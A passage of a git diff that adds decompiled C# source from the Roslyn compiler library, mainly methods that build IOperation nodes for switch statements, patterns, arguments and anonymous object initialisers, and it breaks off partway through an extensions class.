CreateBoundBinaryPatternOperation(BoundBinaryPattern boundBinaryPattern) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_005d: Expected O, but got Unknown + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Expected O, but got Unknown + return (IOperation)new BinaryPatternOperation((BinaryOperatorKind)(boundBinaryPattern.Disjunction ? 11 : 10), (IPatternOperation)Create(boundBinaryPattern.Left), (IPatternOperation)Create(boundBinaryPattern.Right), boundBinaryPattern.InputType.GetPublicSymbol(), boundBinaryPattern.NarrowedType.GetPublicSymbol(), _semanticModel, boundBinaryPattern.Syntax, boundBinaryPattern.WasCompilerGenerated); + } + + private ISwitchOperation CreateBoundSwitchStatementOperation(BoundSwitchStatement boundSwitchStatement) + { + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + IOperation val = Create(boundSwitchStatement.Expression); + ImmutableArray immutableArray = this.CreateFromArray(boundSwitchStatement.SwitchSections); + ImmutableArray publicSymbols = boundSwitchStatement.InnerLocals.GetPublicSymbols(); + ILabelSymbol publicSymbol = boundSwitchStatement.BreakLabel.GetPublicSymbol(); + SyntaxNode syntax = boundSwitchStatement.Syntax; + bool wasCompilerGenerated = boundSwitchStatement.WasCompilerGenerated; + return (ISwitchOperation)new SwitchOperation(publicSymbols, val, immutableArray, publicSymbol, _semanticModel, syntax, wasCompilerGenerated); + } + + private ISwitchCaseOperation CreateBoundSwitchSectionOperation(BoundSwitchSection boundSwitchSection) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Expected O, but got Unknown + ImmutableArray immutableArray = this.CreateFromArray(boundSwitchSection.SwitchLabels); + ImmutableArray immutableArray2 = this.CreateFromArray(boundSwitchSection.Statements); + ImmutableArray publicSymbols = boundSwitchSection.Locals.GetPublicSymbols(); + return (ISwitchCaseOperation)new SwitchCaseOperation(immutableArray, immutableArray2, publicSymbols, (IOperation)null, _semanticModel, boundSwitchSection.Syntax, boundSwitchSection.WasCompilerGenerated); + } + + private ISwitchExpressionOperation CreateBoundSwitchExpressionOperation(BoundConvertedSwitchExpression boundSwitchExpression) + { + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Expected O, but got Unknown + IOperation? obj = Create(boundSwitchExpression.Expression); + ImmutableArray immutableArray = this.CreateFromArray(boundSwitchExpression.SwitchArms); + bool flag = !(boundSwitchExpression.DefaultLabel != null); + return (ISwitchExpressionOperation)new SwitchExpressionOperation(obj, immutableArray, flag, _semanticModel, boundSwitchExpression.Syntax, boundSwitchExpression.GetPublicTypeSymbol(), boundSwitchExpression.WasCompilerGenerated); + } + + private ISwitchExpressionArmOperation CreateBoundSwitchExpressionArmOperation(BoundSwitchExpressionArm boundSwitchExpressionArm) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected O, but got Unknown + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Expected O, but got Unknown + IPatternOperation val = (IPatternOperation)Create(boundSwitchExpressionArm.Pattern); + IOperation val2 = Create(boundSwitchExpressionArm.WhenClause); + IOperation val3 = Create(boundSwitchExpressionArm.Value); + return (ISwitchExpressionArmOperation)new SwitchExpressionArmOperation(val, val2, val3, boundSwitchExpressionArm.Locals.GetPublicSymbols(), _semanticModel, boundSwitchExpressionArm.Syntax, boundSwitchExpressionArm.WasCompilerGenerated); + } + + private ICaseClauseOperation CreateBoundSwitchLabelOperation(BoundSwitchLabel boundSwitchLabel) + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Expected O, but got Unknown + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Expected O, but got Unknown + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + //IL_00cb: Expected O, but got Unknown + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Expected O, but got Unknown + SyntaxNode syntax = boundSwitchLabel.Syntax; + bool wasCompilerGenerated = boundSwitchLabel.WasCompilerGenerated; + LabelSymbol label = boundSwitchLabel.Label; + if (boundSwitchLabel.Syntax.Kind() != SyntaxKind.DefaultSwitchLabel) + { + if (boundSwitchLabel.WhenClause == null && boundSwitchLabel.Pattern.Kind == BoundKind.ConstantPattern && boundSwitchLabel.Pattern is BoundConstantPattern boundConstantPattern && boundConstantPattern.InputType.IsValidV6SwitchGoverningType()) + { + return (ICaseClauseOperation)new SingleValueCaseClauseOperation(Create(boundConstantPattern.Value), label.GetPublicSymbol(), _semanticModel, syntax, wasCompilerGenerated); + } + IPatternOperation val = (IPatternOperation)Create(boundSwitchLabel.Pattern); + IOperation val2 = Create(boundSwitchLabel.WhenClause); + return (ICaseClauseOperation)new PatternCaseClauseOperation(label.GetPublicSymbol(), val, val2, _semanticModel, syntax, wasCompilerGenerated); + } + return (ICaseClauseOperation)new DefaultCaseClauseOperation(label.GetPublicSymbol(), _semanticModel, syntax, wasCompilerGenerated); + } + + private IIsPatternOperation CreateBoundIsPatternExpressionOperation(BoundIsPatternExpression boundIsPatternExpression) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Expected O, but got Unknown + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Expected O, but got Unknown + IOperation? obj = Create(boundIsPatternExpression.Expression); + IPatternOperation val = (IPatternOperation)Create(boundIsPatternExpression.Pattern); + SyntaxNode syntax = boundIsPatternExpression.Syntax; + ITypeSymbol publicTypeSymbol = boundIsPatternExpression.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundIsPatternExpression.WasCompilerGenerated; + return (IIsPatternOperation)new IsPatternOperation(obj, val, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IOperation CreateBoundQueryClauseOperation(BoundQueryClause boundQueryClause) + { + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected O, but got Unknown + if (boundQueryClause.Syntax.Kind() != SyntaxKind.QueryExpression) + { + return Create(boundQueryClause.Value); + } + IOperation? obj = Create(boundQueryClause.Value); + SyntaxNode syntax = boundQueryClause.Syntax; + ITypeSymbol publicTypeSymbol = boundQueryClause.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundQueryClause.WasCompilerGenerated; + return (IOperation)new TranslatedQueryOperation(obj, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IOperation CreateBoundRangeVariableOperation(BoundRangeVariable boundRangeVariable) + { + return Create(boundRangeVariable.Value); + } + + private IOperation CreateBoundDiscardExpressionOperation(BoundDiscardExpression boundNode) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Expected O, but got Unknown + return (IOperation)new DiscardOperation(((DiscardSymbol)boundNode.ExpressionSymbol).GetPublicSymbol(), _semanticModel, boundNode.Syntax, boundNode.GetPublicTypeSymbol(), boundNode.WasCompilerGenerated); + } + + private IOperation CreateFromEndIndexExpressionOperation(BoundFromEndIndexExpression boundIndex) + { + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Expected O, but got Unknown + return (IOperation)new UnaryOperation((UnaryOperatorKind)7, Create(boundIndex.Operand), boundIndex.Type.IsNullableType(), false, (IMethodSymbol)null, (ITypeSymbol)null, _semanticModel, boundIndex.Syntax, boundIndex.GetPublicTypeSymbol(), (ConstantValue)null, boundIndex.WasCompilerGenerated); + } + + private IOperation CreateRangeExpressionOperation(BoundRangeExpression boundRange) + { + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Expected O, but got Unknown + IOperation? obj = Create(boundRange.LeftOperandOpt); + IOperation val = Create(boundRange.RightOperandOpt); + return (IOperation)new RangeOperation(obj, val, boundRange.Type.IsNullableType(), boundRange.MethodOpt.GetPublicSymbol(), _semanticModel, boundRange.Syntax, boundRange.GetPublicTypeSymbol(), boundRange.WasCompilerGenerated); + } + + private IOperation CreateBoundDiscardPatternOperation(BoundDiscardPattern boundNode) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Expected O, but got Unknown + return (IOperation)new DiscardPatternOperation(boundNode.InputType.GetPublicSymbol(), boundNode.NarrowedType.GetPublicSymbol(), _semanticModel, boundNode.Syntax, boundNode.WasCompilerGenerated); + } + + internal IPropertySubpatternOperation CreatePropertySubpattern(BoundPropertySubpattern subpattern, ITypeSymbol matchedType) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Expected O, but got Unknown + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Expected O, but got Unknown + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Expected O, but got Unknown + SyntaxNode subpatternSyntax = subpattern.Syntax; + BoundPropertySubpatternMember boundPropertySubpatternMember = subpattern.Member; + IPatternOperation val = (IPatternOperation)Create(subpattern.Pattern); + if (boundPropertySubpatternMember == null) + { + return (IPropertySubpatternOperation)new PropertySubpatternOperation((IOperation)(object)OperationFactory.CreateInvalidOperation(_semanticModel, subpatternSyntax, ImmutableArray.Empty, true), val, _semanticModel, subpatternSyntax, false); + } + SyntaxNode syntax = boundPropertySubpatternMember.Syntax; + ITypeSymbol val2 = getInputType(boundPropertySubpatternMember, matchedType); + IPropertySubpatternOperation val3 = createPropertySubpattern(boundPropertySubpatternMember.Symbol, val, val2, syntax, boundPropertySubpatternMember.Receiver == null); + while (boundPropertySubpatternMember.Receiver != null) + { + boundPropertySubpatternMember = boundPropertySubpatternMember.Receiver; + syntax = boundPropertySubpatternMember.Syntax; + ITypeSymbol val4 = val2; + val2 = getInputType(boundPropertySubpatternMember, matchedType); + IPatternOperation pattern = (IPatternOperation)new RecursivePatternOperation(val4, (ISymbol)null, ImmutableArray.Empty, ImmutableArray.Create(val3), (ISymbol)null, val4, val4, _semanticModel, syntax, true); + val3 = createPropertySubpattern(boundPropertySubpatternMember.Symbol, pattern, val2, syntax, isSingle: false); + } + return val3; + IPropertySubpatternOperation createPropertySubpattern(Symbol? symbol, IPatternOperation val7, ITypeSymbol receiverType, SyntaxNode nameSyntax, bool isSingle) + { + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Expected O, but got Unknown + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Expected O, but got Unknown + //IL_00ee: Unknown result type (might be due to invalid IL or missing references) + //IL_00f4: Expected O, but got Unknown + IOperation val5; + if (!(symbol is FieldSymbol fieldSymbol)) + { + val5 = (IOperation)((!(symbol is PropertySymbol propertySymbol)) ? ((object)OperationFactory.CreateInvalidOperation(_semanticModel, nameSyntax, ImmutableArray.Empty, false)) : ((object)new PropertyReferenceOperation(propertySymbol.GetPublicSymbol(), (ITypeSymbol)null, ImmutableArray.Empty, createReceiver(), _semanticModel, nameSyntax, propertySymbol.Type.GetPublicSymbol(), false))); + } + else + { + ConstantValue constantValue = fieldSymbol.GetConstantValue(ConstantFieldsInProgress.Empty, earlyDecodingWellKnownAttributes: false); + val5 = (IOperation)new FieldReferenceOperation(fieldSymbol.GetPublicSymbol(), false, createReceiver(), _semanticModel, nameSyntax, fieldSymbol.Type.GetPublicSymbol(), constantValue, false); + } + SyntaxNode val6 = (SyntaxNode)(isSingle ? ((object)subpatternSyntax) : ((object)nameSyntax)); + return (IPropertySubpatternOperation)new PropertySubpatternOperation(val5, val7, _semanticModel, val6, !isSingle); + IOperation? createReceiver() + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Expected O, but got Unknown + Symbol? symbol2 = symbol; + if ((object)symbol2 != null && !symbol2.IsStatic) + { + return (IOperation?)new InstanceReferenceOperation((InstanceReferenceKind)2, _semanticModel, nameSyntax, receiverType, true); + } + return null; + } + } + static ITypeSymbol getInputType(BoundPropertySubpatternMember member, ITypeSymbol val5) + { + return member.Receiver?.Type.StrippedType().GetPublicSymbol() ?? val5; + } + } + + private IInstanceReferenceOperation CreateCollectionValuePlaceholderOperation(BoundObjectOrCollectionValuePlaceholder placeholder) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + SyntaxNode syntax = placeholder.Syntax; + ITypeSymbol publicTypeSymbol = placeholder.GetPublicTypeSymbol(); + bool wasCompilerGenerated = placeholder.WasCompilerGenerated; + return (IInstanceReferenceOperation)new InstanceReferenceOperation((InstanceReferenceKind)1, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private ImmutableArray CreateDisposeArguments(MethodArgumentInfo patternDisposeInfo, SyntaxNode syntax) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + if (patternDisposeInfo.Method.ParameterCount == 0) + { + return ImmutableArray.Empty; + } + return Operation.SetParentOperation(DeriveArguments(patternDisposeInfo.Method, patternDisposeInfo.Arguments, patternDisposeInfo.ArgsToParamsOpt, patternDisposeInfo.DefaultArguments, patternDisposeInfo.Expanded, syntax), (IOperation)null); + } + + internal ImmutableArray ToStatements(BoundStatement? statement) + { + if (statement == null) + { + return ImmutableArray.Empty; + } + if (statement.Kind == BoundKind.StatementList) + { + return ((BoundStatementList)statement).Statements; + } + return ImmutableArray.Create(statement); + } + + private IInstanceReferenceOperation CreateImplicitReceiver(SyntaxNode syntax, TypeSymbol type) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Expected O, but got Unknown + return (IInstanceReferenceOperation)new InstanceReferenceOperation((InstanceReferenceKind)1, _semanticModel, syntax, type.GetPublicSymbol(), true); + } + + internal IArgumentOperation CreateArgumentOperation(ArgumentKind kind, IParameterSymbol? parameter, BoundExpression expression) + { + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Expected O, but got Unknown + IOperation val = Create(expression); + SyntaxNode syntax = expression.Syntax; + bool flag; + if (syntax != null) + { + SyntaxNode parent = syntax.Parent; + if (parent is ArgumentSyntax || parent is AttributeArgumentSyntax) + { + flag = true; + goto IL_0034; + } + } + flag = false; + goto IL_0034; + IL_0034: + bool flag2; + SyntaxNode val2; + if (!flag) + { + SyntaxNode syntax2 = val.Syntax; + flag2 = true; + val2 = syntax2; + } + else + { + SyntaxNode parent2 = expression.Syntax.Parent; + bool wasCompilerGenerated = expression.WasCompilerGenerated; + flag2 = wasCompilerGenerated; + val2 = parent2; + } + return (IArgumentOperation)new ArgumentOperation(kind, parameter, val, OperationFactory.IdentityConversion, OperationFactory.IdentityConversion, _semanticModel, val2, flag2); + } + + internal IVariableInitializerOperation? CreateVariableDeclaratorInitializer(BoundLocalDeclaration boundLocalDeclaration, SyntaxNode syntax) + { + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected O, but got Unknown + if (boundLocalDeclaration.InitializerOpt != null) + { + SyntaxNode val = null; + bool flag = false; + if (syntax is VariableDeclaratorSyntax variableDeclaratorSyntax) + { + val = (SyntaxNode)(object)variableDeclaratorSyntax.Initializer; + } + if (val == null) + { + val = boundLocalDeclaration.InitializerOpt.Syntax; + flag = true; + } + IOperation val2 = Create(boundLocalDeclaration.InitializerOpt); + return (IVariableInitializerOperation?)new VariableInitializerOperation(ImmutableArray.Empty, val2, _semanticModel, val, flag); + } + return null; + } + + private IVariableDeclaratorOperation CreateVariableDeclaratorInternal(BoundLocalDeclaration boundLocalDeclaration, SyntaxNode syntax) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Expected O, but got Unknown + ILocalSymbol? publicSymbol = boundLocalDeclaration.LocalSymbol.GetPublicSymbol(); + bool flag = false; + IVariableInitializerOperation val = CreateVariableDeclaratorInitializer(boundLocalDeclaration, syntax); + ImmutableArray immutableArray = this.CreateFromArray(boundLocalDeclaration.ArgumentsOpt); + return (IVariableDeclaratorOperation)new VariableDeclaratorOperation(publicSymbol, val, immutableArray, _semanticModel, syntax, flag); + } + + [return: NotNullIfNotNull("boundLocal")] + internal IVariableDeclaratorOperation? CreateVariableDeclarator(BoundLocal? boundLocal) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Expected O, but got Unknown + if (boundLocal != null) + { + return (IVariableDeclaratorOperation?)new VariableDeclaratorOperation(boundLocal.LocalSymbol.GetPublicSymbol(), (IVariableInitializerOperation)null, ImmutableArray.Empty, _semanticModel, boundLocal.Syntax, false); + } + return null; + } + + internal IOperation? CreateReceiverOperation(BoundNode? instance, Symbol? symbol) + { + if (instance == null || instance.Kind == BoundKind.TypeExpression) + { + return null; + } + if (symbol != null && symbol.IsStatic && instance.WasCompilerGenerated && instance.Kind == BoundKind.ThisReference) + { + return null; + } + return Create(instance); + } + + private bool IsCallVirtual(MethodSymbol? targetMethod, BoundExpression? receiver) + { + if ((object)targetMethod != null && receiver != null && (targetMethod.IsVirtual || targetMethod.IsAbstract || targetMethod.IsOverride)) + { + return !receiver.SuppressVirtualCalls; + } + return false; + } + + private bool IsMethodInvalid(LookupResultKind resultKind, MethodSymbol targetMethod) + { + if (resultKind != LookupResultKind.OverloadResolutionFailure) + { + return targetMethod?.OriginalDefinition is ErrorMethodSymbol; + } + return true; + } + + internal IEventReferenceOperation CreateBoundEventAccessOperation(BoundEventAssignmentOperator boundEventAssignmentOperator) + { + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Expected O, but got Unknown + SyntaxNode syntax = boundEventAssignmentOperator.Syntax; + IEventSymbol publicSymbol = boundEventAssignmentOperator.Event.GetPublicSymbol(); + IOperation val = CreateReceiverOperation(boundEventAssignmentOperator.ReceiverOpt, boundEventAssignmentOperator.Event); + SyntaxNode left = (SyntaxNode)(object)((AssignmentExpressionSyntax)(object)syntax).Left; + bool wasCompilerGenerated = boundEventAssignmentOperator.WasCompilerGenerated; + TypeParameterSymbol constrainedToType = GetConstrainedToType(boundEventAssignmentOperator.Event, boundEventAssignmentOperator.ReceiverOpt); + return (IEventReferenceOperation)new EventReferenceOperation(publicSymbol, (ITypeSymbol)(object)constrainedToType.GetPublicSymbol(), val, _semanticModel, left, publicSymbol.Type, wasCompilerGenerated); + } + + internal IOperation CreateDelegateTargetOperation(BoundNode delegateNode) + { + if (delegateNode is BoundConversion boundConversion) + { + if (boundConversion.ConversionKind == ConversionKind.MethodGroup) + { + return (IOperation)(object)CreateBoundMethodGroupSingleMethodOperation((BoundMethodGroup)boundConversion.Operand, boundConversion.SymbolOpt, boundConversion.SuppressVirtualCalls); + } + return Create(boundConversion.Operand); + } + BoundDelegateCreationExpression boundDelegateCreationExpression = (BoundDelegateCreationExpression)delegateNode; + if (boundDelegateCreationExpression.Argument.Kind == BoundKind.MethodGroup && boundDelegateCreationExpression.MethodOpt != null) + { + BoundMethodGroup boundMethodGroup = (BoundMethodGroup)boundDelegateCreationExpression.Argument; + return (IOperation)(object)CreateBoundMethodGroupSingleMethodOperation(boundMethodGroup, boundDelegateCreationExpression.MethodOpt, boundMethodGroup.SuppressVirtualCalls); + } + return Create(boundDelegateCreationExpression.Argument); + } + + internal IOperation CreateMemberInitializerInitializedMember(BoundNode initializedMember) + { + if (!(initializedMember is BoundObjectInitializerMember boundObjectInitializerMember)) + { + if (initializedMember is BoundDynamicObjectInitializerMember boundDynamicObjectInitializerMember) + { + return CreateBoundDynamicObjectInitializerMemberOperation(boundDynamicObjectInitializerMember); + } + return Create(initializedMember); + } + return CreateBoundObjectInitializerMemberOperation(boundObjectInitializerMember, isObjectOrCollectionInitializer: true); + } + + internal ImmutableArray DeriveArguments(BoundNode containingExpression) + { + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_01e3: Unknown result type (might be due to invalid IL or missing references) + //IL_019d: Unknown result type (might be due to invalid IL or missing references) + //IL_015d: Unknown result type (might be due to invalid IL or missing references) + //IL_0125: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + switch (containingExpression.Kind) + { + case BoundKind.ObjectInitializerMember: + { + BoundObjectInitializerMember boundObjectInitializerMember = (BoundObjectInitializerMember)containingExpression; + PropertySymbol methodOrIndexer = (PropertySymbol)boundObjectInitializerMember.MemberSymbol; + return DeriveArguments(methodOrIndexer, boundObjectInitializerMember.Arguments, boundObjectInitializerMember.ArgsToParamsOpt, boundObjectInitializerMember.DefaultArguments, boundObjectInitializerMember.Expanded, boundObjectInitializerMember.Syntax); + } + case BoundKind.IndexerAccess: + { + BoundIndexerAccess boundIndexerAccess = (BoundIndexerAccess)containingExpression; + return DeriveArguments(boundIndexerAccess.Indexer, boundIndexerAccess.Arguments, boundIndexerAccess.ArgsToParamsOpt, boundIndexerAccess.DefaultArguments, boundIndexerAccess.Expanded, boundIndexerAccess.Syntax); + } + case BoundKind.ObjectCreationExpression: + { + BoundObjectCreationExpression boundObjectCreationExpression = (BoundObjectCreationExpression)containingExpression; + return DeriveArguments(boundObjectCreationExpression.Constructor, boundObjectCreationExpression.Arguments, boundObjectCreationExpression.ArgsToParamsOpt, boundObjectCreationExpression.DefaultArguments, boundObjectCreationExpression.Expanded, boundObjectCreationExpression.Syntax); + } + case BoundKind.Attribute: + { + BoundAttribute boundAttribute = (BoundAttribute)containingExpression; + return DeriveArguments(boundAttribute.Constructor, boundAttribute.ConstructorArguments, boundAttribute.ConstructorArgumentsToParamsOpt, boundAttribute.ConstructorDefaultArguments, boundAttribute.ConstructorExpanded, boundAttribute.Syntax); + } + case BoundKind.Call: + { + BoundCall boundCall = (BoundCall)containingExpression; + return DeriveArguments(boundCall.Method, boundCall.Arguments, boundCall.ArgsToParamsOpt, boundCall.DefaultArguments, boundCall.Expanded, boundCall.Syntax, boundCall.InvokedAsExtensionMethod); + } + case BoundKind.CollectionElementInitializer: + { + BoundCollectionElementInitializer boundCollectionElementInitializer = (BoundCollectionElementInitializer)containingExpression; + return DeriveArguments(boundCollectionElementInitializer.AddMethod, boundCollectionElementInitializer.Arguments, boundCollectionElementInitializer.ArgsToParamsOpt, boundCollectionElementInitializer.DefaultArguments, boundCollectionElementInitializer.Expanded, boundCollectionElementInitializer.Syntax, boundCollectionElementInitializer.InvokedAsExtensionMethod); + } + case BoundKind.FunctionPointerInvocation: + { + BoundFunctionPointerInvocation boundFunctionPointerInvocation = (BoundFunctionPointerInvocation)containingExpression; + return DeriveArguments(boundFunctionPointerInvocation.FunctionPointer.Signature, boundFunctionPointerInvocation.Arguments, default(ImmutableArray), BitVector.Empty, expanded: false, boundFunctionPointerInvocation.Syntax); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)containingExpression.Kind); + } + } + + private ImmutableArray DeriveArguments(Symbol methodOrIndexer, ImmutableArray boundArguments, ImmutableArray argumentsToParametersOpt, BitVector defaultArguments, bool expanded, SyntaxNode invocationSyntax, bool invokedAsExtensionMethod = false) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (methodOrIndexer.GetParameters().IsDefaultOrEmpty && boundArguments.IsDefaultOrEmpty) + { + return ImmutableArray.Empty; + } + return LocalRewriter.MakeArgumentsInEvaluationOrder(this, (CSharpCompilation)(object)_semanticModel.Compilation, invocationSyntax, boundArguments, methodOrIndexer, expanded, argumentsToParametersOpt, defaultArguments, invokedAsExtensionMethod); + } + + internal static ImmutableArray CreateInvalidChildrenFromArgumentsExpression(BoundNode? receiverOpt, ImmutableArray arguments, BoundExpression? additionalNodeOpt = null) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (receiverOpt != null && (!receiverOpt.WasCompilerGenerated || (receiverOpt.Kind != BoundKind.ThisReference && receiverOpt.Kind != BoundKind.BaseReference && receiverOpt.Kind != BoundKind.ObjectOrCollectionValuePlaceholder))) + { + instance.Add(receiverOpt); + } + instance.AddRange(StaticCast.From(arguments)); + ArrayBuilderExtensions.AddIfNotNull(instance, (BoundNode)additionalNodeOpt); + return instance.ToImmutableAndFree(); + } + + internal ImmutableArray GetAnonymousObjectCreationInitializers(ImmutableArray arguments, ImmutableArray declarations, SyntaxNode syntax, ITypeSymbol type, bool isImplicit) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_00c0: Expected O, but got Unknown + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Expected O, but got Unknown + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_0103: Expected O, but got Unknown + ArrayBuilder instance = ArrayBuilder.GetInstance(arguments.Length); + int currentDeclarationIndex = 0; + for (int i = 0; i < arguments.Length; i++) + { + IOperation val = Create(arguments[i]); + InstanceReferenceOperation val2 = new InstanceReferenceOperation((InstanceReferenceKind)1, _semanticModel, syntax, type, true); + PropertySymbol anonymousTypeProperty = AnonymousTypeManager.GetAnonymousTypeProperty(((ISymbol?)(object)type).GetSymbol(), i); + BoundAnonymousPropertyDeclaration boundAnonymousPropertyDeclaration = getDeclaration(declarations, anonymousTypeProperty, ref currentDeclarationIndex); + IOperation val3; + bool flag; + if (boundAnonymousPropertyDeclaration == null) + { + val3 = (IOperation)new PropertyReferenceOperation(anonymousTypeProperty.GetPublicSymbol(), (ITypeSymbol)null, ImmutableArray.Empty, (IOperation)(object)val2, _semanticModel, val.Syntax, anonymousTypeProperty.Type.GetPublicSymbol(), true); + flag = true; + } + else + { + val3 = (IOperation)new PropertyReferenceOperation(boundAnonymousPropertyDeclaration.Property.GetPublicSymbol(), (ITypeSymbol)null, ImmutableArray.Empty, (IOperation)(object)val2, _semanticModel, boundAnonymousPropertyDeclaration.Syntax, boundAnonymousPropertyDeclaration.GetPublicTypeSymbol(), boundAnonymousPropertyDeclaration.WasCompilerGenerated); + flag = isImplicit; + } + SyntaxNode syntax2 = val.Syntax; + SyntaxNode val4 = ((syntax2 != null) ? syntax2.Parent : null) ?? syntax; + ITypeSymbol type2 = val3.Type; + SimpleAssignmentOperation val5 = new SimpleAssignmentOperation(false, val3, val, _semanticModel, val4, type2, OperationExtensions.GetConstantValue(val), flag); + instance.Add((IOperation)(object)val5); + } + return instance.ToImmutableAndFree(); + static BoundAnonymousPropertyDeclaration? getDeclaration(ImmutableArray immutableArray, PropertySymbol currentProperty, ref int reference) + { + if (reference >= immutableArray.Length) + { + return null; + } + BoundAnonymousPropertyDeclaration boundAnonymousPropertyDeclaration2 = immutableArray[reference]; + if (currentProperty.MemberIndexOpt == boundAnonymousPropertyDeclaration2.Property.MemberIndexOpt) + { + reference++; + return boundAnonymousPropertyDeclaration2; + } + return null; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.Operations/IBoundNodeWithIOperationChildren.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.Operations/IBoundNodeWithIOperationChildren.cs new file mode 100644 index 0000000..49cc570 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.Operations/IBoundNodeWithIOperationChildren.cs @@ -0,0 +1,9 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp; + +namespace Microsoft.CodeAnalysis.Operations; + +internal interface IBoundNodeWithIOperationChildren +{ + ImmutableArray Children { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis/CSharpExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis/CSharpExtensions.cs new file mode 100644 index 0000000..359ef6e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis/CSharpExtensions.cs @@ -0,0 +1,105 @@ +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp; + +namespace Microsoft.CodeAnalysis; + +public static class CSharpExtensions +{ + public static bool IsKind(this SyntaxToken token, SyntaxKind kind) + { + return ((SyntaxToken)(ref token)).RawKind == (int)kind; + } + + public static bool IsKind(this SyntaxTrivia trivia, SyntaxKind kind) + { + return ((SyntaxTrivia)(ref trivia)).RawKind == (int)kind; + } + + public static bool IsKind([NotNullWhen(true)] this SyntaxNode? node, SyntaxKind kind) + { + return ((node != null) ? new int?(node.RawKind) : ((int?)null)) == (int?)kind; + } + + public static bool IsKind(this SyntaxNodeOrToken nodeOrToken, SyntaxKind kind) + { + return ((SyntaxNodeOrToken)(ref nodeOrToken)).RawKind == (int)kind; + } + + public static bool ContainsDirective(this SyntaxNode node, SyntaxKind kind) + { + return node.ContainsDirective((int)kind); + } + + internal static SyntaxKind ContextualKind(this SyntaxToken token) + { + if ((object)((SyntaxToken)(ref token)).Language != "C#") + { + return SyntaxKind.None; + } + return (SyntaxKind)((SyntaxToken)(ref token)).RawContextualKind; + } + + internal static bool IsUnderscoreToken(this SyntaxToken identifier) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return identifier.ContextualKind() == SyntaxKind.UnderscoreToken; + } + + public static int IndexOf(this SyntaxList list, SyntaxKind kind) where TNode : SyntaxNode + { + return list.IndexOf((int)kind); + } + + public static bool Any(this SyntaxList list, SyntaxKind kind) where TNode : SyntaxNode + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return list.IndexOf(kind) >= 0; + } + + public static int IndexOf(this SeparatedSyntaxList list, SyntaxKind kind) where TNode : SyntaxNode + { + return list.IndexOf((int)kind); + } + + public static bool Any(this SeparatedSyntaxList list, SyntaxKind kind) where TNode : SyntaxNode + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return list.IndexOf(kind) >= 0; + } + + public static int IndexOf(this SyntaxTriviaList list, SyntaxKind kind) + { + return ((SyntaxTriviaList)(ref list)).IndexOf((int)kind); + } + + public static bool Any(this 